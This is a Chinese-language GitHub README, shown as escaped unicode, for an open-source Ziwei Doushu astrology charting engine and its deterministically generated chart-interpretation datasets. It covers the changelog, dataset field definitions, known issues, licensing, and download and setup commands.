\n\n2026-10-20 \u8865\u5145\uff1a\u661f\u66dc\u4eae\u5ea6\u9ed8\u8ba4\u6539\u4e3a\u300a\u6597\u6570\u5168\u4e66\u300b\uff0c\u4e0e\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u9ed8\u8ba4\u4e00\u81f4\uff0c\u6b64\u524d\u9ed8\u8ba4\u7684\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u4ecd\u53ef\u5728\u6d41\u6d3e\u8bbe\u7f6e\u91cc\u9009\uff1b\u8865\u9f50\u5929\u59da\u3001\u5929\u5211\u3001\u5929\u559c\u3001\u5927\u8017\u3001\u89e3\u795e\u3001\u622a\u7a7a\u3001\u526f\u622a\u3001\u65ec\u7a7a\u7684\u4eae\u5ea6\uff0c\u6708\u5fb7\u4e0d\u518d\u6807\u4eae\u5ea6\u3002\u7528 5 \u5f20\u91d1\u6807\u51c6\u76d8\u9010\u5bab\u6838\u5bf9\uff0c\u661f\u66dc\u843d\u5bab\u4e0e\u4eae\u5ea6\u5168\u90e8\u543b\u5408\u3002\u6ce8\u610f\uff1av4.0 \u6570\u636e\u96c6\uff0810-15\uff09\u662f\u6309\u65e7\u9ed8\u8ba4\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u751f\u6210\u7684\uff0c\u5176\u4e2d\u4eae\u5ea6\u5b57\u548c\u5c11\u91cf\u968f\u4eae\u5ea6\u53d8\u5316\u7684\u89e3\u8bfb\u53e5\u4f1a\u4e0e\u65b0\u9ed8\u8ba4\u4e0d\u540c\u3002
\n
\n\n2026-10-06 ~ 10-07 \u8865\u5145\uff1aREADME \u52a0\u300c\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad\u300d\uff08\u502a\u5e08\u539f\u8bdd + \u51fa\u5904\u94fe\u63a5\uff0c\u4e2d\u82f1\u4e24\u4efd\uff09\uff1b\u7f51\u7ad9\u94fe\u63a5\u52a0\u6e20\u9053\u7801
\n?from=\uff1b\u540c\u6b65\u502a\u5e08\u539f\u8bdd\u8bed\u6599\u52d8\u8bef\uff08\u4e3b\u661f\u5357\u6597\u3001\u5317\u6597\u5f52\u5c5e\uff09\u3002
\n\n2026-10-03 \u8865\u5145\uff1a\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd 1848 \u6761\u5355\u72ec\u6210\u7ae0\uff08\u7b2c\u4e94\u7ae0\uff09\uff1b\u5408\u5e76\u5916\u90e8\u8d21\u732e #29\uff08\u65f6\u8fb0\u5e8f\u53f7\u6821\u9a8c\uff09\uff1b\u5f15\u64ce\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u516c\u5386\u65e5\u671f\uff0c\u6570\u636e\u96c6\u8865\u5b57\u6bb5\u53e3\u5f84\u4e0e\u5df2\u77e5\u95ee\u9898\uff1b\u63d0\u4ea4 package-lock.json\uff1b\u7ad9\u70b9\u5730\u5740\u6539\u4e3a\u53ef\u914d\u7f6e\uff1b\u5408\u76d8\u6f14\u793a\u6539\u7528\u672c\u5730\u5f15\u64ce\u8d77\u76d8\u3001AI \u63a5\u53e3\u7f3a\u5931\u65f6\u660e\u786e\u63d0\u793a\uff1b\u8865\u9f50\u8d21\u732e\u6307\u5357\u3001\u884c\u4e3a\u51c6\u5219\u3001\u95ee\u9898\u4e0e PR \u6a21\u677f\uff1b\u65b0\u589e\u82f1\u6587\u7b80\u4ecb README.en.md\uff1b\u53bb\u6389\u4e24\u4e2a\u7528\u4e0d\u4e0a\u7684\u90e8\u7f72\u5de5\u5177\u5305\uff08vercel CLI\u3001@cloudflare/next-on-pages\uff09\uff0c\u4f9d\u8d56\u4ece 483 \u4e2a\u51cf\u5230 185 \u4e2a\uff1b\u968f\u540e\u5347\u7ea7\u5230 Next.js 16 \u4fee\u6389 postcss \u6f0f\u6d1e\uff0cGitHub \u5b89\u5168\u63d0\u9192\u4ece 51 \u6761\u6e05\u96f6\u3002
\n
\u65f6\u9694\u4e09\u4e2a\u6708\uff0c\u672c\u4ed3\u5e93\u5b8c\u6210\u4e00\u6b21\u5b8c\u6574\u66f4\u65b0\uff08PR #28\uff0c26 \u4e2a\u6587\u4ef6\u3001+2736 / \u2212108 \u884c\uff09\uff1a
\n1. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\u5230\u7ebf\u4e0a\u53e3\u5f84 \u2014\u2014 algorithm.ts \u4ece 181 \u884c\u5230 641 \u884c\uff0c\u53e6\u66f4\u65b0 sihua / types / constants / patterns / cities / famous\uff1b\u65b0\u589e 8 \u4e2a\u6a21\u5757\uff081367 \u884c\uff09\uff1a
| \u6a21\u5757 | \n\u4f5c\u7528 | \n
|---|---|
true-solar-time.ts | \n \u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09 | \n
dst-cn.ts | \n \u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6 | \n
lunar-solar.ts | \n \u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp | \n
school-data.ts / school-tables.generated.ts / school-config.ts | \n \u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e | \n
shier-shen.ts | \n \u5341\u4e8c\u795e\u715e | \n
yunxian-context.ts | \n \u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\uff09 | \n
2. \u8865\u4e0a\u56de\u5f52\u6d4b\u8bd5\u4e0e CI \u2014\u2014 \u6b64\u524d\u672c\u4ed3\u5e93\u6ca1\u6709\u4efb\u4f55\u6d4b\u8bd5\u3002\u73b0\u5728 5 \u6761\u6392\u76d8\u56de\u5f52\uff0cnpm test \u4e00\u6761\u547d\u4ee4\u8dd1\u5b8c\uff0c\u6bcf\u6b21 push \u4e0e PR \u5728 GitHub Actions \u4e0a\u81ea\u52a8\u8dd1\u3002
3. \u4fee\u6389\u6837\u672c\u65f6\u8fb0\u6ce8\u91ca\u9519\u4f4d\uff08#26\uff09\u2014\u2014 famous.ts \u91cc 11 \u6761\u540d\u4eba\u6837\u672c\u6709 7 \u6761\u7684\u65f6\u8fb0\u6ce8\u91ca\u4e0e hour \u7d22\u5f15\u4e0d\u7b26\uff08hour \u4e00\u76f4\u662f\u65f6\u8fb0\u5730\u652f\u7d22\u5f15 0\u201311\uff0c\u4e0d\u662f 0\u201323 \u7684\u5c0f\u65f6\u6570\uff09\u3002\u5df2\u6539\u6b63\u5e76\u52a0\u56de\u5f52\u9489\u4f4f\u3002
4. \u79ef\u538b issue \u4ece 18 \u6761\u6e05\u5230 4 \u6761\uff0c\u7559\u4e0b\u7684\u90fd\u662f\u8fd8\u5728\u8d70\u7684\u3002
\n5. \u6587\u6863\u4e0e\u8bb8\u53ef \u2014\u2014 \u65b0\u589e DATASET-LICENSE\uff1bREADME \u8865\u9f50\u5f15\u64ce\u80fd\u529b\u6e05\u5355\u3001\u7ef4\u62a4\u8282\u594f\u3001\u5f00\u6e90\u8fb9\u754c\uff1b\u4fee\u6b63\u4e24\u5904\u4e0d\u5b9e\u63cf\u8ff0\uff08\u6570\u636e\u96c6\u300c\u53e3\u5f84\u4e0e\u7ebf\u4e0a\u5b8c\u5168\u4e00\u81f4\u300d\u3001\u754c\u9762\u300c\u5b8c\u6574\u7684 Next.js 15 \u524d\u7aef\u300d\uff09\u3002
\n\n\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 Releases \u2192 v4.0-13d
\n
v4.0 \u7528 2026-10-15 \u7248\u7f51\u7ad9\u65ad\u8bed\u5e93\u91cd\u65b0\u751f\u6210\uff1a13 \u4e2a\u5206\u6790\u7ef4\u5ea6\u7684\u65ad\u8bed\u5df2\u6309\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u9010\u5b57\u7a3f\u4e0e\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\u2014\u2014\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\u5220\u53bb\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff08\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\uff09\uff0c\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\u76f8\u5173\u53e5\u5b50\u5220\u53bb\uff0c\u6709\u6761\u4ef6\u7684\u65ad\u8bed\u5199\u660e\u6761\u4ef6\u3002
\n| \u9879\u76ee | \n\u8bf4\u660e | \n
|---|---|
| \u547d\u76d8\u6570 | \n674,976 \u5f20\uff08\u516c\u5386 1950\u20132026 \u5e74 \u00d7 \u771f\u5b9e\u6bcf\u6708\u5929\u6570 \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09 | \n
| \u89e3\u8bfb\u6bb5\u6570 | \n8,774,688 \u6bb5\uff08\u6bcf\u5f20\u76d8 13 \u7ef4\uff09 | \n
| \u7ef4\u5ea6 | \n\u547d\u683c\u603b\u89c8\u3001\u6027\u683c\u3001\u611f\u60c5\u3001\u4e8b\u4e1a\u3001\u8d22\u8fd0\u3001\u5065\u5eb7\u3001\u5144\u5f1f\u3001\u5b50\u5973\u3001\u8fc1\u79fb\u3001\u4eba\u9645\u3001\u7530\u5b85\u3001\u798f\u5fb7\u3001\u7236\u6bcd | \n
| \u5927\u5c0f | \n\u89e3\u538b\u540e 56.6 GB\uff1b\u538b\u7f29\u540e 161 MB\uff0877 \u4e2a\u5e74\u4efd\u6587\u4ef6\uff0czstd\uff1b\u53e6\u6709\u4e00\u4e2a\u5168\u5e74\u4efd\u603b\u5305 ziwei-interp-v4-all.tar\uff09 | \n
| \u6b63\u6587 | \n\u7ea6 204 \u4ebf\u5b57\uff0c\u6bcf\u5f20\u76d8\u7ea6 3.0 \u4e07\u5b57 | \n
| \u751f\u6210\u65b9\u5f0f | \n\u6392\u76d8\u5f15\u64ce + \u65ad\u8bed\u5e93\u786e\u5b9a\u6027\u751f\u6210\uff0c\u4e0d\u7ecf AI\uff0c\u540c\u4e00\u8f93\u5165\u6052\u5f97\u540c\u4e00\u8f93\u51fa | \n
| \u5185\u5bb9\u7248\u672c | \nca268829f7a9\uff08\u4e0e\u7f51\u7ad9\u540c\u671f\u7684 ANALYSIS_CONTENT_VERSION\uff09 | \n
\u6bcf\u884c\u4e00\u5f20\u76d8\uff08JSON Lines\uff09\uff0c\u5b57\u6bb5\uff1a
\n| \u5b57\u6bb5 | \n\u542b\u4e49 | \n
|---|---|
k | \n \u952e\uff1aYYYY-MM-DD-\u65f6\u8fb0\u5e8f\u53f7-\u6027\u522b\uff0c\u5982 1990-01-01-0-male | \n
y / m / d | \n \u516c\u5386\u51fa\u751f\u65e5\u671f\uff1b\u53ea\u542b\u771f\u5b9e\u5b58\u5728\u7684\u65e5\u671f\uff08\u4e0d\u518d\u6709 2 \u6708 30 \u65e5\u4e4b\u7c7b\uff09 | \n
h | \n \u65f6\u8fb0\u5e8f\u53f7 0\u201311\uff08\u5b50 = 0 \u2026\u2026 \u4ea5 = 11\uff09\uff0c\u4e0d\u662f\u949f\u70b9\uff1b\u5bf9\u7167\u8868\u89c1\u4e0a\u4e00\u8282 | \n
g | \n male / female | \n
ms | \n \u547d\u5bab\u7b2c\u4e00\u9897\u4e3b\u661f\uff1b\u547d\u5bab\u65e0\u4e3b\u661f\u65f6\u4e3a null | \n
t | \n \u5404\u7ef4\u5b57\u6570 | \n
c | \n 13 \u7ef4\u89e3\u8bfb\u5168\u6587\uff08Markdown\uff09\uff0c\u952e\u4e3a overview / personality / love / career / wealth / health / family / children / move / friends / home / spirit / parents | \n
\u53e3\u5f84\u8bf4\u660e
\n# \u4e00\u6b21\u4e0b\u5168\u90e8\uff1agh release download v4.0-13d --repo Renhuai123/ziwei-doushu -p \"ziwei-interp-v4-all.tar\"\n# \u53ea\u8981\u67d0\u51e0\u5e74\u5c31\u53ea\u4e0b\u90a3\u51e0\u5e74\uff0c\u4f8b\u5982 1990 \u5e74\nzstd -d --long=27 year-1990.jsonl.zst # \u5f97\u5230 year-1990.jsonl\nshasum -a 256 -c SHA256SUMS.txt --ignore-missing # \u6821\u9a8c\n--long=27 \u5fc5\u987b\u5e26\u4e0a\uff08\u538b\u7f29\u65f6\u7528\u4e86\u957f\u7a97\u53e3\uff09\u3002Windows \u53ef\u7528 zstd \u5b98\u65b9\u53d1\u5e03\u5305 \u91cc\u7684 zstd.exe\uff0c\u53c2\u6570\u76f8\u540c\u3002
\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u539f\u8bdd\u4e0d\u5c5e\u4e8e\u672c\u6570\u636e\u96c6\u7684\u6388\u6743\u8303\u56f4\uff1a\u5b83\u4eec\u662f\u4e3a\u8bf4\u660e\u65ad\u8bed\u51fa\u5904\u800c\u6ce8\u660e\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\u7684\u7b80\u77ed\u5f15\u7528\uff0c\u8457\u4f5c\u6743\u5f52\u539f\u6743\u5229\u4eba\uff1b\u8981\u628a\u8fd9\u4e9b\u539f\u8bdd\u5355\u72ec\u6210\u6279\u4f7f\u7528\uff0c\u6309\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u5904\u7406\u3002\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u5c5e\u516c\u6709\u9886\u57df\u3002
\n\u4e0e v3.0 \u76f8\u540c\uff1aCC BY 4.0\uff0c\u53ef\u81ea\u7531\u5546\u7528\uff0c\u552f\u4e00\u8981\u6c42\u662f\u4fdd\u7559\u6765\u6e90\u6807\u6ce8\uff08\u4e0a\u9762\u300c\u5f15\u6587\u8bf4\u660e\u300d\u91cc\u7684\u502a\u5e08\u539f\u8bdd\u9664\u5916\uff09\uff0c\u5b8c\u6574\u6761\u6b3e\u89c1 DATASET-LICENSE\u3002\u5f15\u7528\u65f6\u8bf7\u5199\uff1a
\n\n\n\u672c\u9879\u76ee\u4f7f\u7528\u4e86 \u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff08674,976 \u5f20\u547d\u76d8 \u00d7 13 \u7ef4\uff09 \u6765\u6e90\uff1ahttps://github.com/Renhuai123/ziwei-doushu \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI
\n
\n\n\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 Releases \u9875\u9762
\n
\u6211\u4eec\u5f00\u6e90\u4e86\u4e00\u5957\u5b8c\u6574\u7684\u7d2b\u5fae\u6597\u6570\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6\uff0c\u8986\u76d6 51.8 \u4e07\u79cd\u6392\u76d8\u7ec4\u5408\uff08\u5e74 60 \u00d7 \u6708 12 \u00d7 \u65e5 30 \u00d7 \u65f6 12 \u00d7 \u6027\u522b 2\uff09\uff0c\u6bcf\u6761\u6837\u672c\u5305\u542b\u5b8c\u6574\u7684\u547d\u76d8\u7ed3\u6784\u548c\u57fa\u4e8e\u502a\u6d77\u53a6\u4f53\u7cfb\u7684\u89e3\u8bfb\u6587\u672c\u3002
\n| \u9879\u76ee | \n\u8bf4\u660e | \n
|---|---|
| \u6837\u672c\u6570\u91cf | \n518,400 \u6761 | \n
| \u603b\u5927\u5c0f | \n\u538b\u7f29\u540e 5.5 GB\uff08\u5206 3 \u5377\uff09\uff0c\u89e3\u538b\u540e 33.1 GB | \n
| \u4f53\u7cfb | \n\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6b63\u7edf\uff08\u7eaf\u98de\u661f\u6d3e\u5df2\u4e0b\u7ebf\uff09 | \n
| \u5185\u5bb9 | \n\u547d\u76d8 JSON + 13 \u4e3b\u9898\u89e3\u8bfb\u6587\u672c\uff08\u547d\u683c\u603b\u89c8\u3001\u8d22\u8fd0\u3001\u4e8b\u4e1a\u3001\u611f\u60c5\u3001\u5065\u5eb7\u7b49\uff09 | \n
| \u9a8c\u8bc1 | \n\u7537\u5973\u547d\u5dee\u5f02\u5316 100%\u3001\u5065\u5eb7\u542b\u5b50\u5348\u6d41\u6ce8 100%\u3001\u5973\u547d\u542b\u5987\u79d1\u4fdd\u517b 100% | \n
| \u53e3\u5f84 | \n\u7531 v3 \u7248\u6392\u76d8\u5f15\u64ce + \u5f53\u671f\u65ad\u8bed\u5e93\u751f\u6210\uff1b\u7ebf\u4e0a\u5f15\u64ce\u5728\u6301\u7eed\u66f4\u65b0\uff0c\u65b0\u7248\u8f93\u51fa\u4e0e\u672c\u6570\u636e\u96c6\u53ef\u80fd\u6709\u5dee\u5f02 | \n
\u5b57\u6bb5\u53e3\u5f84\uff08\u6bcf\u6761\u6837\u672c\u7531 birthInfo \u751f\u6210\uff0c\u5e38\u88ab\u770b\u9519\u7684\u662f hour\uff09\uff1a
| \u5b57\u6bb5 | \n\u542b\u4e49 | \n
|---|---|
birthInfo.year / month / day | \n \u516c\u5386\u51fa\u751f\u65e5\u671f\uff1a1924\u20131983 \u5e74\uff08\u4e00\u4e2a\u5b8c\u6574\u7532\u5b50\uff09\uff0c\u6bcf\u6708\u53d6 1\u201330 \u65e5 | \n
birthInfo.hour | \n \u65f6\u8fb0\u5e8f\u53f7 0\u201311\uff0c\u4e0d\u662f 0\u201323 \u70b9\u949f\uff1a\u5b50 = 0\u3001\u4e11 = 1 \u2026\u2026 \u4ea5 = 11 | \n
birthInfo.gender | \n male / female | \n
birthInfo.longitude | \n \u56fa\u5b9a 120\uff08\u4e1c\u7ecf 120\u00b0\uff0c\u672a\u505a\u5404\u5730\u771f\u592a\u9633\u65f6\u6821\u6b63\uff09 | \n
\u6587\u4ef6\u540d YYYY-MM-DD-hHH-\u6027\u522b.json | \n \u5176\u4e2d hHH \u540c\u6837\u662f\u65f6\u8fb0\u5e8f\u53f7\uff0c\u4f8b\u5982 h11 \u662f\u4ea5\u65f6\uff0c\u4e0d\u662f\u4e0a\u5348 11 \u70b9 | \n
\u65f6\u8fb0\u5e8f\u53f7\u4e0e\u949f\u70b9\u5bf9\u7167\uff1a
\n| \u5e8f\u53f7 | \n0 | \n1 | \n2 | \n3 | \n4 | \n5 | \n6 | \n7 | \n8 | \n9 | \n10 | \n11 | \n
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| \u65f6\u8fb0 | \n\u5b50 | \n\u4e11 | \n\u5bc5 | \n\u536f | \n\u8fb0 | \n\u5df3 | \n\u5348 | \n\u672a | \n\u7533 | \n\u9149 | \n\u620c | \n\u4ea5 | \n
| \u949f\u70b9 | \n23\u20131 | \n1\u20133 | \n3\u20135 | \n5\u20137 | \n7\u20139 | \n9\u201311 | \n11\u201313 | \n13\u201315 | \n15\u201317 | \n17\u201319 | \n19\u201321 | \n21\u201323 | \n
23:00\u201323:59 \u51fa\u751f\uff08\u665a\u5b50\u65f6\uff09\u6309\u6b21\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u53d6 0\uff1b00:00\u201300:59 \u51fa\u751f\uff08\u65e9\u5b50\u65f6\uff09\u6309\u5f53\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u540c\u6837\u53d6 0\u3002
\n\u5df2\u77e5\u95ee\u9898\uff1a\u7ea6 2,520 \u6761\u6837\u672c\u7684\u65e5\u671f\u5e76\u4e0d\u5b58\u5728\u3002 \u751f\u6210\u65f6\u6bcf\u4e2a\u6708\u90fd\u53d6\u4e86 1\u201330 \u65e5\uff0c\u6240\u4ee5 2 \u6708 30 \u65e5\uff0c\u4ee5\u53ca\u975e\u95f0\u5e74\u7684 2 \u6708 29 \u65e5\u4e5f\u751f\u6210\u4e86\u6837\u672c\uff0c\u5171 105 \u4e2a\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 2 \u6027\u522b = 2,520 \u6761\uff0c\u5360 0.49%\u3002v3 \u5f15\u64ce\u9047\u5230\u8fd9\u7c7b\u65e5\u671f\u4e0d\u62a5\u9519\uff0c\u800c\u662f\u987a\u5ef6\u6210 3 \u6708 1\u20132 \u65e5\u6392\u76d8\uff0c\u6240\u4ee5\u8fd9\u4e9b\u6837\u672c\u7684\u5185\u5bb9\u4e0e\u5bf9\u5e94\u7684 3 \u6708 1\u20132 \u65e5\u6837\u672c\u91cd\u590d\u3002\u4f7f\u7528\u65f6\u8bf7\u8fc7\u6ee4\u6389\uff1amonth = 2 \u4e14 day = 30\uff0c\u6216 month = 2 \u4e14 day = 29 \u4e14\u8be5\u5e74\u4e0d\u662f\u95f0\u5e74\u3002\u5f15\u64ce\u4ece 2026-10-03 \u8d77\u4f1a\u76f4\u63a5\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u65e5\u671f\uff0c\u4e0b\u4e00\u7248\u6570\u636e\u96c6\u4e0d\u4f1a\u518d\u6709\u8fd9\u7c7b\u6837\u672c\u3002
\u524d\u5f80 Releases \u4e0b\u8f7d\u4ee5\u4e0b\u6587\u4ef6\uff1a
\nziwei-samples-v3-part1.zip.001 (1.9 GB)\nziwei-samples-v3-part2.zip.002 (1.9 GB)\nziwei-samples-v3-part3.zip.003 (1.8 GB)\nSHA256SUMS.txt (\u6821\u9a8c\u6587\u4ef6)\n\u4e0b\u8f7d\u540e\u5408\u5e76\u89e3\u538b\uff1a
\n# macOS / Linux\ncat ziwei-samples-v3-part*.zip.* > combined.zip\nunzip combined.zip\n\n# Windows (PowerShell)\nGet-Content ziwei-samples-v3-part*.zip.* -Encoding Byte -ReadCount 0 | Set-Content combined.zip -Encoding Byte\nExpand-Archive combined.zip\npatterns.ts \u540e\u505a A/B \u57fa\u7ebf\u5bf9\u6bd4\ud83d\udcc2 \u5b8c\u5168\u5f00\u6e90 \u00b7 \u53ef\u81ea\u7531\u5546\u7528 \u2014\u2014 \u4f60\u53ef\u4ee5\u5728\u4efb\u4f55\u9879\u76ee\u91cc\u4f7f\u7528\u8fd9\u5957\u6570\u636e\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a
\n\u65e0\u9700\u4ed8\u8d39\u3001\u65e0\u9700\u7533\u8bf7\u3001\u65e0\u9700\u4e8b\u5148\u544a\u77e5\u3002
\n\u552f\u4e00\u7684\u8981\u6c42\u662f\u4fdd\u7559\u6570\u636e\u6765\u6e90\u6807\u6ce8\uff08attribution\uff09\uff1a
\n\n\n\u672c\u9879\u76ee\u4f7f\u7528\u4e86 \u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6837\u672c\u6570\u636e\u96c6 v3.0\uff08518,400 \u6761\uff09 \u6765\u6e90\uff1ahttps://github.com/Renhuai123/ziwei-doushu \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI
\n
\u653e\u5728\u54ea\u91cc\u90fd\u884c\uff1a
\n\u4ec5\u6b64\u4e00\u6761\uff0c\u5176\u4f59\u90fd\u81ea\u7531\u3002\u5b8c\u6574\u6761\u6b3e\u89c1 DATASET-LICENSE\u3002\u5e0c\u671b\u8fd9\u5957\u6570\u636e\u80fd\u5e2e\u4f60\u505a\u51fa\u597d\u4e1c\u897f \u2014\u2014 \u505a\u51fa\u6765\u8bb0\u5f97\u6765\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c @\u738b\u591a\u9c7cAI \u6253\u4e2a\u62db\u547c \ud83d\udc4b
\n# \u514b\u9686\ngit clone https://github.com/Renhuai123/ziwei-doushu.git\ncd ziwei-doushu\n\n# \u5b89\u88c5\u4f9d\u8d56\nnpm install\n\n# \u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff08\u53ea\u770b\u6392\u76d8\u53ef\u4ee5\u8df3\u8fc7\uff1bAI \u914d\u7f6e\u4ec5\u5728\u4f60\u81ea\u5df1\u5b9e\u73b0\u4e86 /api/* \u63a5\u53e3\u65f6\u624d\u7528\u5f97\u4e0a\uff09\ncp .env.example .env.local\n\n# \u542f\u52a8\u5f00\u53d1\u670d\u52a1\u5668\nnpm run dev\n\u672c\u5730\u9a8c\u8bc1\uff1a
\nnpm run typecheck # TypeScript \u5168\u91cf\u7c7b\u578b\u68c0\u67e5\nnpm test # \u6392\u76d8\u5f15\u64ce\u56de\u5f52\uff08768 \u76d8 \u00d7 \u7d2b\u5fae\u94c1\u5f8b\u3001\u590f\u4ee4\u65f6\u3001\u7acb\u6625\u8fb9\u754c\u3001\u7ea2\u9e3e\u5929\u559c\u3001\u6837\u672c\u65f6\u8fb0\u4e00\u81f4\u6027\u3001\u65f6\u8fb0\u5e8f\u53f7\u8fb9\u754c\u3001\u65e5\u671f\u5408\u6cd5\u6027\u3001\u540c\u5bab\u53cc\u56db\u5316\uff09\n\u6bcf\u6b21 push \u4e0e PR \u90fd\u4f1a\u5728 GitHub Actions \u4e0a\u8dd1\u540c\u4e00\u5957\uff08\u89c1 .github/workflows/ci.yml\uff09\u3002
\n\n\u6ce8\u610f\uff1a\u5f00\u6e90\u7248\u4e0d\u542b\u540e\u7aef API \u8def\u7531\u3002\u6392\u76d8\u3001\u547d\u76d8\u5c55\u793a\u3001\u5408\u76d8\u8d77\u76d8\u90fd\u5728\u6d4f\u89c8\u5668\u91cc\u7528\u672c\u4ed3\u5e93\u7684\u5f15\u64ce\u5b8c\u6210\uff0c\u4e0d\u9700\u8981\u4efb\u4f55 API Key\u3002AI \u89e3\u8bfb\uff08
\n/api/interpret\uff09\u548c\u5408\u76d8 AI \u5206\u6790\uff08/api/heming\uff09\u9700\u8981\u4f60\u81ea\u5df1\u5b9e\u73b0\u63a5\u53e3\uff1b\u6ca1\u5b9e\u73b0\u4e4b\u524d\uff0c\u8fd9\u4e24\u5904\u4f1a\u76f4\u63a5\u63d0\u793a\u300c\u5f00\u6e90\u7248\u4e0d\u542b\u8be5\u63a5\u53e3\u300d\uff0c\u914d\u7f6e API Key \u4e5f\u4e0d\u4f1a\u53d8\u6210\u53ef\u7528\uff08#30 \u5c31\u662f\u8fd9\u4e2a\u539f\u56e0\uff09\u3002
\u6392\u76d8\u5185\u6838\u5168\u90e8\u5728 lib/ziwei/\u3002
| \u80fd\u529b | \n\u8bf4\u660e | \n
|---|---|
| \u771f\u592a\u9633\u65f6\u6821\u6b63 | \n\u6309\u51fa\u751f\u5730\u7ecf\u5ea6\u7b97\u65f6\u5dee + \u5747\u65f6\u5dee\uff0c\u907f\u514d\u4e1c\u897f\u5411\u5dee\u4e00\u4e2a\u65f6\u8fb0 | \n
| \u4e2d\u56fd\u590f\u4ee4\u65f6 | \n1986\u20131991 \u5e74\u7684\u590f\u4ee4\u65f6\u533a\u95f4\u81ea\u52a8\u6263\u9664 | \n
| \u95f0\u6708\u56db\u79cd\u53e3\u5f84 | \n\u95f0\u6708\u5f52\u524d\u6708 / \u5f52\u540e\u6708 / \u6309\u65e5\u5207\u5206 / \u6309\u672c\u6708\uff0c\u53ef\u914d\u7f6e\uff0c\u4e0d\u5199\u6b7b\u4e00\u6d3e | \n
| \u665a\u5b50\u65f6\u6362\u65e5 | \n23:00\u201323:59 \u6309\u6b21\u65e5\u6392\u76d8\u300100:00\u201300:59 \u6309\u672c\u65e5\uff1b\u6362\u65e5\u7b56\u7565\u53ef\u5207\u6362 | \n
| \u661f\u66dc\u4eae\u5ea6 7 \u6863 | \n\u5e99 / \u65fa / \u5f97 / \u5229 / \u5e73 / \u4e0d / \u9677\uff0c\u53e6\u4fdd\u7559 3 \u6863\u7c97\u5206\u7c7b\u505a\u663e\u793a\u964d\u7ea7 | \n
| \u4eae\u5ea6\u6d41\u6d3e\u53ef\u5207\u6362 | \n\u4e0d\u540c\u6d41\u6d3e\uff08\u542b\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u7684\u4e0d\u540c\u7248\u672c\uff09\u5bf9\u8f85\u661f\u4eae\u5ea6\u5224\u6cd5\u4e0d\u4e00\u81f4\uff0c\u505a\u6210\u5f00\u5173\u800c\u975e\u5199\u6b7b | \n
| \u56db\u5316\u4e0e\u98de\u661f | \n\u751f\u5e74\u56db\u5316\u3001\u5927\u9650 / \u6d41\u5e74\u56db\u5316\u3001\u98de\u661f\u81ea\u5316 | \n
| \u5341\u4e8c\u795e\u715e | \n\u672c\u547d\u5c42\u6309\u751f\u5e74\u652f\u8d77\uff0c\u6d41\u5e74\u5c42\u6539\u6309\u6d41\u5e74\u652f\u8d77 | \n
| \u683c\u5c40\u5224\u5b9a | \n1100+ \u884c\u89c4\u5219\u5e93\uff08\u7d2b\u5e9c\u540c\u5bab\u3001\u65e5\u6708\u5e76\u660e\u3001\u4e03\u6740\u671d\u6597\u7b49\uff09 | \n
| \u6587\u4ef6 | \n\u8bf4\u660e | \n
|---|---|
algorithm.ts | \n \u5b8c\u6574\u6392\u76d8\u6d41\u7a0b\uff1a\u5b89\u547d\u5bab\u3001\u5b9a\u4e94\u884c\u5c40\u3001\u5b89\u5341\u56db\u4e3b\u661f\u3001\u5b89\u8f85\u661f\u3001\u6392\u5927\u9650\u6d41\u5e74 | \n
constants.ts | \n \u5929\u5e72\u5730\u652f\u3001\u5341\u56db\u4e3b\u661f\u3001\u8f85\u661f\u5e38\u91cf | \n
